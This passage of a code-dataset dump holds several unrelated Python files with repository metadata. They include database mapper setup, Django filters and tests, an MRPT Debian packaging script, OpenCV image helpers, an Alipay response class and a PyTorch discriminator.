tables['well']) rack_mapper = rack.create_mapper(tables['rack'], tables['rack_barcoded_location']) tuberack.create_mapper(rack_mapper, tables['tube_rack'], tables['tube_location']) plate.create_mapper(rack_mapper, tables['plate']) tubelocation.create_mapper(tables['tube_location']) rackshape.create_mapper(tables['rack_shape']) rackspecs_mapper = rackspecs.create_mapper(tables['rack_specs']) tuberackspecs.create_mapper(rackspecs_mapper, tables['rack_specs_container_specs']) platespecs.create_mapper(rackspecs_mapper, tables['rack_specs_container_specs']) devicetype.create_mapper(tables['device_type']) device.create_mapper(tables['device']) barcodedlocation.create_mapper(tables['barcoded_location'], tables['rack_barcoded_location']) barcodedlocationrack.create_mapper(tables['rack_barcoded_location']) barcodedlocationtype.create_mapper(tables['barcoded_location']) moleculetype.create_mapper(tables['molecule_type'], views['molecule_type_modification_view'], tables['chemical_structure']) samplemolecule.create_mapper(tables['sample_molecule']) molecule.create_mapper(tables['molecule'], tables['molecule_supplier_molecule_design']) sample_mapper = sample.create_mapper(tables['sample'], tables['sample_molecule'], tables['molecule'], tables['molecule_design_pool']) sampleregistration.create_mapper(tables['sample_registration']) gene.create_mapper(tables['refseq_gene'], tables['molecule_design_gene'], tables['molecule_design_set_gene'], tables['molecule_design'], tables['molecule_design_pool']) species.create_mapper(tables['species']) stockinfo.create_mapper(views['stock_info_view'], tables['molecule_design_set'], tables['molecule_design_set_gene'], tables['refseq_gene']) chemical_structure_mapper = \ chemicalstructure.create_mapper(tables['chemical_structure'], tables['molecule_design_structure']) compoundchemicalstructure.create_mapper(chemical_structure_mapper, tables['chemical_structure']) nucleicacidchemicalstructure.create_mapper(chemical_structure_mapper, tables['chemical_structure']) modificationchemicalstructure.create_mapper(chemical_structure_mapper, tables['chemical_structure']) unknownchemicalstructure.create_mapper(chemical_structure_mapper, tables['chemical_structure']) molecule_design_mapper = \ moleculedesign.create_mapper(tables['molecule_design'], tables['molecule_design_structure'], tables['single_supplier_molecule_design'], tables['molecule_design_gene'], tables['refseq_gene']) molecule_design_set_mapper = \ moleculedesignsetbase.create_mapper(tables['molecule_design_set'], tables['molecule_design_set_member']) moleculedesignlibrary.create_mapper(tables['molecule_design_library'], tables['stock_sample_creation_iso_request'], tables['molecule_design_library_creation_iso_request']) libraryplate.create_mapper(tables['library_plate'], tables['lab_iso_library_plate']) moleculedesignset.create_mapper( molecule_design_set_mapper) moleculedesignpool.create_mapper( molecule_design_set_mapper, tables['molecule_design_pool'], tables['pooled_supplier_molecule_design'], tables['supplier_molecule_design'], tables['molecule_design_set_gene']) stocksample.create_mapper(sample_mapper, tables['stock_sample'], tables['pooled_supplier_molecule_design'], tables['supplier_molecule_design']) moleculedesignpoolset.create_mapper( tables['molecule_design_pool_set'], tables['molecule_design_pool_set_member'], ) compounddesign.create_mapper(molecule_design_mapper, tables['molecule_design']) antimirdesign.create_mapper(molecule_design_mapper, tables['molecule_design']) cloneddsdnadesign.create_mapper(molecule_design_mapper, tables['molecule_design']) esirnadesign.create_mapper(molecule_design_mapper, tables['molecule_design']) longdsrnadesign.create_mapper(molecule_design_mapper, tables['molecule_design']) primerdesign.create_mapper(molecule_design_mapper, tables['molecule_design']) amplicondesign.create_mapper(molecule_design_mapper, tables['molecule_design']) sirnadesign.create_mapper(molecule_design_mapper, tables['molecule_design']) mirnainhibitordesign.create_mapper(molecule_design_mapper, tables['molecule_design']) mirnamimicdesign.create_mapper(molecule_design_mapper, tables['molecule_design']) suppliermoleculedesign.create_mapper( tables['supplier_molecule_design'], tables['single_supplier_molecule_design'], tables['pooled_supplier_molecule_design']) supplierstructureannotation.create_mapper( tables['supplier_structure_annotation']) tagging.create_mapper(tables['tagging']) tag.create_mapper(tables['tag'], tables['tag_domain'], tables['tag_predicate'], tables['tag_value'], tables['tagging']) tagged_mapper = tagged.create_mapper(tables['tagged'], tables['tagging']) taggedrackpositionset.create_mapper(tagged_mapper, tables['tagged_rack_position_set']) rackpositionset.create_mapper(tables['rack_position_set'], tables['rack_position_set_member']) rackposition.create_mapper(tables['rack_position']) racklayout.create_mapper(tables['rack_layout']) job_mapper = job.create_mapper(tables['new_job']) # FIXME: pylint: disable=W0511 # Need to get rid of the "new_" prefix. experiment.create_mapper(tables['new_experiment'], tables['experiment_source_rack']) experimentdesignrack.create_mapper(tables['experiment_design_rack'], tables['worklist_series_experiment_design_rack']) experimentdesign.create_mapper(tables['experiment_design'], tables['worklist_series_experiment_design']) experimentrack.create_mapper(tables['new_experiment_rack']) experimentmetadatatype.create_mapper(tables['experiment_metadata_type']) experimentmetadata.create_mapper(tables['experiment_metadata'], tables['experiment_metadata_iso_request']) experimentjob.create_mapper(job_mapper, tables['new_job'], tables['new_experiment']) project.create_mapper(tables['project']) subproject.create_mapper(tables['subproject']) user.create_mapper(tables['db_user']) userpreferences.create_mapper(tables['user_preferences']) iso_request_mapper = isorequest.create_mapper(tables['iso_request'], tables['worklist_series_iso_request'], tables['iso_request_pool_set']) labisorequest.create_mapper(iso_request_mapper, tables['lab_iso_request'], tables['experiment_metadata_iso_request'], tables['reservoir_specs'], tables['molecule_design_library_lab_iso_request']) stocksamplecreationisorequest.create_mapper(iso_request_mapper, tables['stock_sample_creation_iso_request'], tables['molecule_design_library_creation_iso_request'], tables['molecule_design_library']) iso_mapper = iso.create_mapper(tables['iso'], tables['new_job'], tables['iso_job_member'], tables['iso_pool_set']) labiso.create_mapper(iso_mapper, tables['iso'], tables['lab_iso_library_plate']) stocksamplecreationiso.create_mapper(iso_mapper, tables['stock_sample_creation_iso']) isojob.create_mapper(job_mapper, tables['iso_job'], tables['iso_job_member'], tables['worklist_series_iso_job']) isojobpreparationplate.create_mapper(tables['iso_job_preparation_plate']) stock_rack_mapper = stockrack.create_mapper(tables['stock_rack']) isojobstockrack.create_mapper(stock_rack_mapper, tables['iso_job_stock_rack']) isostockrack.create_mapper(stock_rack_mapper, tables['iso_stock_rack']) isosectorstockrack.create_mapper(stock_rack_mapper, tables['iso_sector_stock_rack']) iso_plate_mapper = isoplate.create_mapper(tables['iso_plate']) isoaliquotplate.create_mapper(iso_plate_mapper, tables['iso_aliquot_plate']) isopreparationplate.create_mapper(iso_plate_mapper, tables['iso_preparation_plate']) isosectorpreparationplate.create_mapper(iso_plate_mapper, tables['iso_sector_preparation_plate']) pipettingspecs.create_mapper(tables['pipetting_specs']) reservoirspecs.create_mapper(tables['reservoir_specs']) planned_liquid_transfer_mapper = plannedliquidtransfer.create_mapper( tables['planned_liquid_transfer']) plannedsampledilution.create_mapper(planned_liquid_transfer_mapper, tables['planned_sample_dilution'], tables['rack_position']) plannedsampletransfer.create_mapper(planned_liquid_transfer_mapper, tables['planned_sample_transfer'], tables['rack_position']) plannedracksampletransfer.create_mapper(planned_liquid_transfer_mapper, tables['planned_rack_sample_transfer']) plannedworklist.create_mapper(tables['planned_worklist'], tables['planned_liquid_transfer'], tables['planned_worklist_member']) worklistseries.create_mapper(tables['worklist_series']) worklistseriesmember.create_mapper(tables['worklist_series_member']) executed_liquid_transfer_mapper = executedliquidtransfer.create_mapper( tables['executed_liquid_transfer']) executedsampledilution.create_mapper(executed_liquid_transfer_mapper, tables['executed_sample_dilution'], tables['container']) executedsampletransfer.create_mapper(executed_liquid_transfer_mapper, tables['executed_sample_transfer'], tables['container']) executedracksampletransfer.create_mapper(executed_liquid_transfer_mapper, tables['executed_rack_sample_transfer'], tables['rack']) executedworklist.create_mapper(tables['executed_worklist'], tables['executed_liquid_transfer'], tables['executed_worklist_member']) tubetransfer.create_mapper(tables['tube_transfer'], tables['rack'], tables['rack_position']) tubetransferworklist.create_mapper(tables['tube_transfer_worklist'], tables['tube_transfer'], tables['tube_transfer_worklist_member'], tables['db_user'])

59.239394

79

0.705765

4a07bb4334769c21fc325a37522548e1626d2d04

231

py

Python

caffshop/webshop/filters.py

Jezus-es-a-haverok/CaffShop

222f9945e77228ecc8fa73c9bb4fad8799af0825

[ "MIT" ]

null

caffshop/webshop/filters.py

Jezus-es-a-haverok/CaffShop

222f9945e77228ecc8fa73c9bb4fad8799af0825

[ "MIT" ]

null

caffshop/webshop/filters.py

Jezus-es-a-haverok/CaffShop

222f9945e77228ecc8fa73c9bb4fad8799af0825

[ "MIT" ]

null

import django_filters from .models import CAFF class CAFFFilter(django_filters.FilterSet): class Meta: model = CAFF fields = { 'creator': ['icontains'], 'name': ['icontains'], }

21

43

0.5671

4a07bb47dd2f03440f474b08d1d2d90cac942e8f

7,182

py

Python

python/prepare_debian.py

zarmomin/mrpt

1baff7cf8ec9fd23e1a72714553bcbd88c201966

[ "BSD-3-Clause" ]

1

2020-02-01T15:43:00.000Z

python/prepare_debian.py

gao-ouyang/mrpt

4af5fdf7e45b00be4a64c3d4f009acb9ef415ec7

[ "BSD-3-Clause" ]

1

2017-11-30T19:51:29.000Z

2018-02-01T08:15:36.000Z

python/prepare_debian.py

gao-ouyang/mrpt

4af5fdf7e45b00be4a64c3d4f009acb9ef415ec7

[ "BSD-3-Clause" ]

2

2017-01-12T02:08:10.000Z

2018-02-14T23:05:10.000Z

#!/usr/bin/env python import argparse import os import platform import sys import shutil import subprocess DEFAULT_MRPT_VERSION = '1:1.3.0-1' # args parser = argparse.ArgumentParser() parser.add_argument('-b', '--build_dir', help='Path to the build directory.') parser.add_argument('-m', '--mrpt_version', help='The MRPT lib version those bindings are generated from. DEFAULT: {}'.format(DEFAULT_MRPT_VERSION)) parser.add_argument('-a', '--architecture', required=True, help='The architecture the bindings are built for (i386, amd, armhf, etc.).') args = parser.parse_args() # check requirements def check_required_program(program): try: subprocess.call(['which', program]) except: print 'Required program "{}" not found.'.format(program) sys.exit(1) print 'Looking for required programs:' check_required_program('sudo') check_required_program('dpkg') check_required_program('chrpath') check_required_program('lintian') # get supplied build path, otherwise set default if args.build_dir: build_dir = args.build_dir else: build_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), '..', 'build') # save current dir curr_dir = str(os.path.abspath(os.path.curdir)) # find pymrpt.so in build dir built_lib = os.path.join(build_dir, 'lib', 'pymrpt.so') if os.path.exists(os.path.join(built_lib)): print 'Found local build: "{}".'.format(built_lib) else: print 'Could not find "pymrpt.so" in {}. Supply path to build directory as argument!'.format(build_dir) print 'Example: {} <path/to/build>'.format(sys.argv[0]) print '\nExit.' sys.exit(1) # TODO find version automatically built_lib_version = args.mrpt_version if args.mrpt_version else DEFAULT_MRPT_VERSION built_lib_size = os.path.getsize(built_lib) built_lib_arch = args.architecture # user home home_dir = os.path.expanduser('~') # packaging dir pkg_dir = os.path.join(home_dir, 'mrpt-python-bindings') # check if packaging dir exists if os.path.exists(pkg_dir): cont = raw_input('Packaging dir already exists. Continue anyway? (y/N): ') if cont != 'y': print '\nExit.' sys.exit(0) # remove existing dir (utilizing sudo) try: command = 'rm -rf {}'.format(pkg_dir) subprocess.call(["/usr/bin/sudo", "sh", "-c", command]) except: raise print 'Removed existing packaging dir.' print 'Preparing:' print '=========' # create packaging directory os.mkdir(pkg_dir) print 'Created packaging dir: "{}".'.format(pkg_dir) # create DEBIAN directory deb_dir = os.path.join(pkg_dir, 'DEBIAN') os.mkdir(deb_dir) print 'Created DEBIAN dir: "{}".'.format(deb_dir) # create install directory (utilizing sudo) inst_dir = os.path.join(pkg_dir, 'usr', 'lib', 'python2.7', 'dist-packages') try: command = 'mkdir -p {}'.format(inst_dir) subprocess.call(["/usr/bin/sudo", "sh", "-c", command]) except: raise print 'Created install dir: "{}".'.format(inst_dir) # copy local built pymrpt.so to install dir (utilizing sudo) command = 'cp {} {}'.format(built_lib, inst_dir) subprocess.call(["/usr/bin/sudo", "sh", "-c", command]) print 'Copied library file: "{}" to "{}".'.format(built_lib, inst_dir) # change file permissions inst_so = os.path.join(inst_dir, 'pymrpt.so') command = 'chmod 0644 {}'.format(inst_so) subprocess.call(["/usr/bin/sudo", "sh", "-c", command]) print 'Changed "{}" permissions to: 0644.'.format(inst_so) # remove rpath from shared lib command = 'chrpath -d {}'.format(inst_so) subprocess.call(["/usr/bin/sudo", "sh", "-c", command]) print 'Removed RPATH from "{}".'.format(inst_so) # create control file control_content = [ 'Package: mrpt-python-bindings', 'Version: {}'.format(built_lib_version), 'Architecture: {}'.format(built_lib_arch), 'Maintainer: Peter Rudolph <semael23@gmail.com>', 'Installed-Size: {}'.format(built_lib_size), 'Depends: libmrpt-base1.3, libmrpt-slam1.3, libmrpt-obs1.3, libmrpt-maps1.3, libmrpt-nav1.3, libmrpt-opengl1.3, libmrpt-gui1.3, libboost-python1.54, libc6', 'Section: devel', 'Priority: optional', 'Homepage: https://www.mrpt.org', 'Description: MRPT python bindings.', ' This package contains the python bindings for', ' the Mobile Robot Programming Toolkit (MRPT).', '' # final new line ] control_filename = os.path.join(pkg_dir, 'DEBIAN', 'control') control_file = open(control_filename, 'w+') control_file.write('\n'.join(control_content)) control_file.close() print 'Created control file: "{}".'.format(control_filename) # create copyright file copyright_content = [ 'Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/', 'Upstream-Name: mrpt-python-bindings', 'Upstream-Contact: Peter Rudolph <semael23@gmail.com>', 'Source: https://github.com/MRPT/mrpt', '', 'Files: *', 'Copyright: 2014-2015 Peter Rudolph', 'License: Expat', '', 'License: Expat', ' Permission is hereby granted, free of charge, to any person obtaining a copy', ' of this software and associated documentation files (the "Software"), to deal', ' in the Software without restriction, including without limitation the rights', ' to use, copy, modify, merge, publish, distribute, sublicense, and/or sell', ' copies of the Software, and to permit persons to whom the Software is', ' furnished to do so, subject to the following conditions:', ' ', ' The above copyright notice and this permission notice shall be included in', ' all copies or substantial portions of the Software.', ' ', ' THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR', ' IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,', ' FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE', ' AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER', ' LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,', ' OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN', ' THE SOFTWARE.', '', ] copyright_filename = os.path.join(pkg_dir, 'DEBIAN', 'copyright') copyright_file = open(copyright_filename, 'w+') copyright_file.write('\n'.join(copyright_content)) copyright_file.close() print 'Created copyright file: "{}".'.format(copyright_filename) # TODO use auto-generated changelog changelog_content = [ 'python-mrpt-bindings ({}) unstable; urgency=low'.format(built_lib_version), '', ' * Initial Release.', '', ' -- Peter Rudolph <semael23@gmail.com> Tue, 20 Jan 2015 12:30:54 +0100', '', ] changelog_filename = os.path.join(pkg_dir, 'DEBIAN', 'changelog') changelog_file = open(changelog_filename, 'w+') changelog_file.write('\n'.join(changelog_content)) changelog_file.close() print 'Created changelog file: "{}".'.format(changelog_filename) os.chdir(home_dir) # build the package print 'Build package:' subprocess.call(['dpkg', '-b', 'mrpt-python-bindings']) # check package with lintian print 'Check package:' subprocess.call(['lintian', os.path.join(home_dir, 'mrpt-python-bindings.deb')]) # go to initial dir os.chdir(curr_dir) print 'Done.'

35.205882

160

0.699248

4a07bbb5556699727833cc32456b99614745a791

509

py

Python

src/software/backend/backend/asgi.py

ObaraEmmanuel/votingBooth

53cc59e617e0d2b47fbefb48f6e5a096c74f1ad9

[ "MIT" ]

2

2021-06-06T05:07:34.000Z

2021-08-30T08:56:41.000Z

src/software/backend/backend/asgi.py

bytecod3/votingBooth

6a248833b34885a1d6b62b5d1ee7a60baba769e9

[ "MIT" ]

44

2021-05-24T18:43:56.000Z

2021-07-29T21:05:02.000Z

src/software/backend/backend/asgi.py

bytecod3/votingBooth

6a248833b34885a1d6b62b5d1ee7a60baba769e9

[ "MIT" ]

3

2021-06-05T19:53:32.000Z

2021-06-11T11:29:22.000Z

""" ASGI config for backend project. It exposes the ASGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/3.2/howto/deployment/asgi/ """ import os from django.core.asgi import get_asgi_application import dotenv dotenv.load_dotenv( os.path.join(os.path.dirname(os.path.dirname(__file__)), '.env') ) os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'backend.settings.production') application = get_asgi_application()

22.130435

78

0.772102

4a07bc300b1d414ac6853b49f920c7bce7cf1d34

667

py

Python

app/news.py

farzana583/News-API

68744239399e79bcd1fceb9d58e825982b359dbd

[ "Unlicense" ]

1

2022-03-15T17:01:58.000Z

app/news.py

farzana583/News-API

68744239399e79bcd1fceb9d58e825982b359dbd

[ "Unlicense" ]

null

app/news.py

farzana583/News-API

68744239399e79bcd1fceb9d58e825982b359dbd

[ "Unlicense" ]

null

class News: ''' News source class to define sources' objects ''' def __init__(self,id,name,description,url,category,country): self.id = id self.name = name self.description = description self.url = url self.category = category self.country = country class NewsArticle: def __init__(self,id,author,title,description,url,urlToImage,publishedAt,content): self.id = id self.author = author self.title = title self.description = description self.url = url self.urlToImage = urlToImage self.publishedAt = publishedAt self.content = content

29

86

0.626687

4a07bc91545eb2001c7957ac2bdf1058054766e3

6,731

py

Python

util/image_comp_tool.py

deay0ung/HalloPy

652902ed95627496d280eb48f0cef8dade76701d

[ "MIT" ]

60

2018-09-01T08:27:32.000Z

2022-03-09T21:42:54.000Z

util/image_comp_tool.py

deay0ung/HalloPy

652902ed95627496d280eb48f0cef8dade76701d

[ "MIT" ]

3

2019-06-15T10:08:25.000Z

2020-04-13T16:34:24.000Z

util/image_comp_tool.py

deay0ung/HalloPy

652902ed95627496d280eb48f0cef8dade76701d

[ "MIT" ]

24

2018-09-01T08:27:49.000Z

2021-06-15T00:14:04.000Z

# import the necessary packages from skimage.measure import compare_ssim import numpy as np import cv2 from hallopy import utils class ImageTestTool: """This class contain tools that helps test functionality""" @staticmethod def compare_imaged(img1, img2): """This function compare 2 images. Return SSIM: Represents the structural similarity index between the two input images. This value can fall into the range [-1, 1] with a value of one being a “perfect match”. """ # load the two input images imageA = img1 imageB = img2 # convert the images to grayscale grayA = cv2.cvtColor(imageA, cv2.COLOR_BGR2GRAY) grayB = cv2.cvtColor(imageB, cv2.COLOR_BGR2GRAY) # compute the Structural Similarity Index (SSIM) between the two # images, ensuring that the difference image is returned (score, diff) = compare_ssim(grayA, grayB, full=True) # diff = (diff * 255).astype("uint8") return score # print("SSIM: {}".format(score)) # # # threshold the difference image, followed by finding contours to # # obtain the regions of the two input images that differ # thresh = cv2.threshold(diff, 0, 255, # cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU)[1] # cnts = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL, # cv2.CHAIN_APPROX_SIMPLE) # cnts = cnts[0] if imutils.is_cv2() else cnts[1] # # # loop over the contours # for c in cnts: # # compute the bounding box of the contour and then draw the # # bounding box on both input images to represent where the two # # images differ # (x, y, w, h) = cv2.boundingRect(c) # cv2.rectangle(imageA, (x, y), (x + w, y + h), (0, 0, 255), 2) # cv2.rectangle(imageB, (x, y), (x + w, y + h), (0, 0, 255), 2) # # # show the output images # cv2.imshow("Original", imageA) # cv2.imshow("Modified", imageB) # cv2.imshow("Diff", diff) # cv2.imshow("Thresh", thresh) # cv2.waitKey(0) @staticmethod def detect_faces(img): """Function for detecting faces. :returns faces: array with detected faces coordination's. """ face_detector = cv2.CascadeClassifier(utils.get_full_path('hallopy/config/haarcascade_frontalface_default.xml')) gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) return face_detector.detectMultiScale(gray, 1.3, 5) @staticmethod def draw_black_recs(img, obj_coord): # Black rectangle over faces to remove skin noises. for (x, y, w, h) in obj_coord: img[y:y + h, x:x + w, :] = 0 @staticmethod def clip_roi(img, roi): clipped = img[0:int(roi['cap_region_y_end'] * img.shape[0]), int(roi['cap_region_x_begin'] * img.shape[1]):img.shape[1]] # clip the ROI return clipped @staticmethod def get_max_area_contour(input_image): # Get the contours. expected_gray = cv2.cvtColor(input_image, cv2.COLOR_BGR2GRAY) blur = cv2.GaussianBlur(expected_gray, (41, 41), 0) thresh = cv2.threshold(blur, 50, 255, cv2.THRESH_BINARY)[1] thresh = cv2.erode(thresh, None, iterations=2) thresh = cv2.dilate(thresh, None, iterations=2) _, contours, hierarchy = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE) # Find the biggest area try: if len(contours) > 0: max_area_contour = max(contours, key=cv2.contourArea) return max_area_contour except ValueError as error: print(error) @staticmethod def get_contour_area(contour): return cv2.contourArea(contour) @staticmethod def get_center_of_mass(contour): """Find contours center of mass. """ M = cv2.moments(contour) if M["m00"] != 0: cX = int(M["m10"] / M["m00"]) cY = int(M["m01"] / M["m00"]) else: cX, cY = 0, 0 return cX, cY @staticmethod def get_middle_finger_edge_coord(contour): """Function for calculating middle finger edge coordination. :type contour: collection.iter """ temp_y = 1000 for point in contour: # find highest point in contour, and track that point if point[0][1] < temp_y: temp_y = point[0][1] return point[0][0], point[0][1] @staticmethod def get_contour_extreme_points(contour): c = contour try: # determine the most extreme points along the contour extLeft = tuple(c[c[:, :, 0].argmin()][0]) extRight = tuple(c[c[:, :, 0].argmax()][0]) extTop = tuple(c[c[:, :, 1].argmin()][0]) extBot = tuple(c[c[:, :, 1].argmax()][0]) except TypeError as error: extLeft = 0, 0 extRight = 0, 0 extTop = 0, 0 extBot = 0, 0 return extLeft, extRight, extTop, extBot @staticmethod def draw_contours(image, contours): cv2.drawContours(image, [contours], -1, (0, 255, 255), 2) @staticmethod def draw_tracking_points(image, points): # draw the outline of the object, then draw each of the # extreme points, where the left-most is red, right-most # is green, top-most is blue, and bottom-most is teal # determine the most extreme points along the contour c = points.reshape(-1, 1, 2) if points.size > 0: # only ext_contour points have been given. # ext_left = tuple(c[c[:, :, 0].argmin()][0]) # ext_right = tuple(c[c[:, :, 0].argmax()][0]) ext_top = tuple(c[c[:, :, 1].argmin()][0]) ext_bot = tuple(c[c[:, :, 1].argmax()][0]) # palm_center = points[4] # cv2.circle(image, ext_left, 8, (0, 0, 255), -1) # cv2.putText(image,'ext_left',ext_left, cv2.FONT_HERSHEY_COMPLEX, .5, (0, 0, 255)) # cv2.circle(image, ext_right, 8, (0, 255, 0), -1) # cv2.putText(image,'ext_right',ext_right, cv2.FONT_HERSHEY_COMPLEX, .5, (0, 255, 0)) cv2.circle(image, ext_top, 8, (255, 0, 0), -1) cv2.putText(image, 'ext_top', ext_top, cv2.FONT_HERSHEY_COMPLEX, .5, (255, 0, 0)) cv2.circle(image, ext_bot, 8, (255, 255, 0), -1) cv2.putText(image, 'ext_bot', ext_bot, cv2.FONT_HERSHEY_COMPLEX, .5, (255, 255, 0)) # cv2.circle(image, palm_center, 8, (255, 255, 255), thickness=-1)

38.244318

120

0.576883

4a07bc9f90286e676d31f9f9a9fb46259f679a93

726

py

Python

alipay/aop/api/response/AlipayInsMarketingLifeAccessQueryResponse.py

articuly/alipay-sdk-python-all

0259cd28eca0f219b97dac7f41c2458441d5e7a6

[ "Apache-2.0" ]

null

alipay/aop/api/response/AlipayInsMarketingLifeAccessQueryResponse.py

articuly/alipay-sdk-python-all

0259cd28eca0f219b97dac7f41c2458441d5e7a6

[ "Apache-2.0" ]

null

alipay/aop/api/response/AlipayInsMarketingLifeAccessQueryResponse.py

articuly/alipay-sdk-python-all

0259cd28eca0f219b97dac7f41c2458441d5e7a6

[ "Apache-2.0" ]

null

#!/usr/bin/env python # -*- coding: utf-8 -*- import simplejson as json from alipay.aop.api.response.AlipayResponse import AlipayResponse class AlipayInsMarketingLifeAccessQueryResponse(AlipayResponse): def __init__(self): super(AlipayInsMarketingLifeAccessQueryResponse, self).__init__() self._access = None @property def access(self): return self._access @access.setter def access(self, value): self._access = value def parse_response_content(self, response_content): response = super(AlipayInsMarketingLifeAccessQueryResponse, self).parse_response_content(response_content) if 'access' in response: self.access = response['access']

27.923077

114

0.716253

4a07bcf7df785e31db1ee115a62ea9309efb4207

2,479

py

Python

rlkit/torch/url/discriminator.py

hsukyle/rlkit

613eaa1a634dd08996557cff966d3be2fa8f78a3

[ "MIT" ]

null

rlkit/torch/url/discriminator.py

hsukyle/rlkit

613eaa1a634dd08996557cff966d3be2fa8f78a3

[ "MIT" ]

null

rlkit/torch/url/discriminator.py

hsukyle/rlkit

613eaa1a634dd08996557cff966d3be2fa8f78a3

[ "MIT" ]

1

2020-10-22T05:05:48.000Z

from rlkit.torch.networks import Mlp from torch.optim import Adam import torch.nn as nn from rlkit.torch.torch_rl_algorithm import np_to_pytorch_batch from rlkit.util.meter import AverageMeter from rlkit.torch import pytorch_util as ptu import torch from tqdm import tqdm class Discriminator(Mlp): def __init__( self, *args, batch_size=256, num_batches_per_fit=50, num_skills=20, sampling_strategy='random', sampling_window=10, lr=3e-4, **kwargs ): self.save_init_params(locals()) super().__init__(*args, **kwargs) self.num_skills = num_skills self.batch_size = batch_size self.num_batches_per_fit = num_batches_per_fit self.sampling_strategy = sampling_strategy self.sampling_window = sampling_window self.optimizer = Adam(self.parameters(), lr=lr) self.loss_function_mean = nn.CrossEntropyLoss(reduction='elementwise_mean') self.loss_function = nn.CrossEntropyLoss(reduction='none') self.loss_meter = AverageMeter() def fit(self, replay_buffer): self.train() self.loss_meter.reset() # t = tqdm(range(self.num_batches_per_fit)) t = range(self.num_batches_per_fit) for i in t: if self.sampling_strategy == 'random': batch = replay_buffer.random_batch(self.batch_size) elif self.sampling_strategy == 'recent': batch = replay_buffer.recent_batch(self.batch_size, self.sampling_window) else: raise ValueError batch = np_to_pytorch_batch(batch) inputs = batch['observations'] labels = batch['context'].long() self.optimizer.zero_grad() outputs = self.forward(inputs) loss = self.loss_function_mean(outputs, labels.squeeze(1)) loss.backward() self.optimizer.step() self.loss_meter.update(val=loss.item(), n=self.batch_size) # print(self.loss_meter.avg) self.eval() return self.loss_meter.avg def evaluate_cross_entropy(self, inputs, labels): with torch.no_grad(): inputs = ptu.from_numpy(inputs) labels = ptu.from_numpy(labels).long() logits = self.forward(inputs) return ptu.get_numpy(self.loss_function(logits, labels.squeeze(1)).unsqueeze(1))

34.430556

92

0.626462

4a07be561b737d9a7e9e84ec0ef5c73dbbbe8153

3,162

py

Python

app/recipe/tests/test_tags_api.py

havenvo/recipe-app-api

9c489ece49f7ff131549c0caf193afb8cf6a9cbe

[ "MIT" ]

null

app/recipe/tests/test_tags_api.py

havenvo/recipe-app-api

9c489ece49f7ff131549c0caf193afb8cf6a9cbe

[ "MIT" ]

null

app/recipe/tests/test_tags_api.py

havenvo/recipe-app-api

9c489ece49f7ff131549c0caf193afb8cf6a9cbe

[ "MIT" ]

null

from django.contrib.auth import get_user_model from django.urls import reverse from django.test import TestCase from rest_framework import status from rest_framework.test import APIClient from core.models import Tag, Recipe from recipe.serializers import TagSerializer TAGS_URL = reverse('recipe:tag-list') class PublicTagsApiTests(TestCase): def setUp(self): self.client = APIClient() def test_login_required(self): res = self.client.get(TAGS_URL) self.assertEqual(res.status_code, status.HTTP_401_UNAUTHORIZED) class PrivateTagsApiTests(TestCase): def setUp(self): self.user = get_user_model().objects.create_user( 'test@example.com', 'Test@123' ) self.client = APIClient() self.client.force_authenticate(self.user) def test_retrieve_tags(self): Tag.objects.create(user=self.user, name='Vegan') Tag.objects.create(user=self.user, name='Dessert') res = self.client.get(TAGS_URL) tags = Tag.objects.all().order_by('-name') serializer = TagSerializer(tags, many=True) self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(res.data, serializer.data) def test_limited_to_user(self): """Test that tag returns are for the authenticated user""" user2 = get_user_model().objects.create_user( 'other@example.com', 'Test@123' ) Tag.objects.create(user=user2, name='Fruity') tag = Tag.objects.create(user=self.user, name='Comfort Food') res = self.client.get(TAGS_URL) self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(len(res.data), 1) self.assertEqual(res.data[0]['name'], tag.name) def test_filter_tags_already_assigned_to_recipes(self): tag1 = Tag.objects.create(user=self.user, name='Lunch') tag2 = Tag.objects.create(user=self.user, name='Dinner') recipe = Recipe.objects.create( user=self.user, title='Chicken Rice', time_minutes=20, price=10.00 ) recipe.tags.add(tag1) res = self.client.get(TAGS_URL, {'assigned_only': 1}) serializer1 = TagSerializer(tag1) serializer2 = TagSerializer(tag2) self.assertIn(serializer1.data, res.data) self.assertNotIn(serializer2.data, res.data) def test_retrieve_assigned_return_unique(self): tag = Tag.objects.create(user=self.user, name='Lunch') Tag.objects.create(user=self.user, name='Breakfast') recipe1 = Recipe.objects.create( user=self.user, title='Chicken Rice', time_minutes=15, price=15.00 ) recipe2 = Recipe.objects.create( user=self.user, title='Fried Potato', time_minutes=15, price=5.00 ) recipe1.tags.add(tag) recipe1.refresh_from_db() recipe2.tags.add(tag) recipe2.refresh_from_db() res = self.client.get(TAGS_URL, {'assigned_only': 1}) self.assertEqual(len(res.data), 1)

30.699029

71

0.63599

4a07be9921b5382ead26f715329997afdacaf2ec

7,745

py

Python

completed_numberplate/Main.py

supersetdashboard/eindopdracht

0d2b7f4bd9b132c823dae170dffc85451e8b2171

[ "Apache-2.0" ]

null

completed_numberplate/Main.py

supersetdashboard/eindopdracht

0d2b7f4bd9b132c823dae170dffc85451e8b2171

[ "Apache-2.0" ]

null

completed_numberplate/Main.py

supersetdashboard/eindopdracht

0d2b7f4bd9b132c823dae170dffc85451e8b2171

[ "Apache-2.0" ]

null

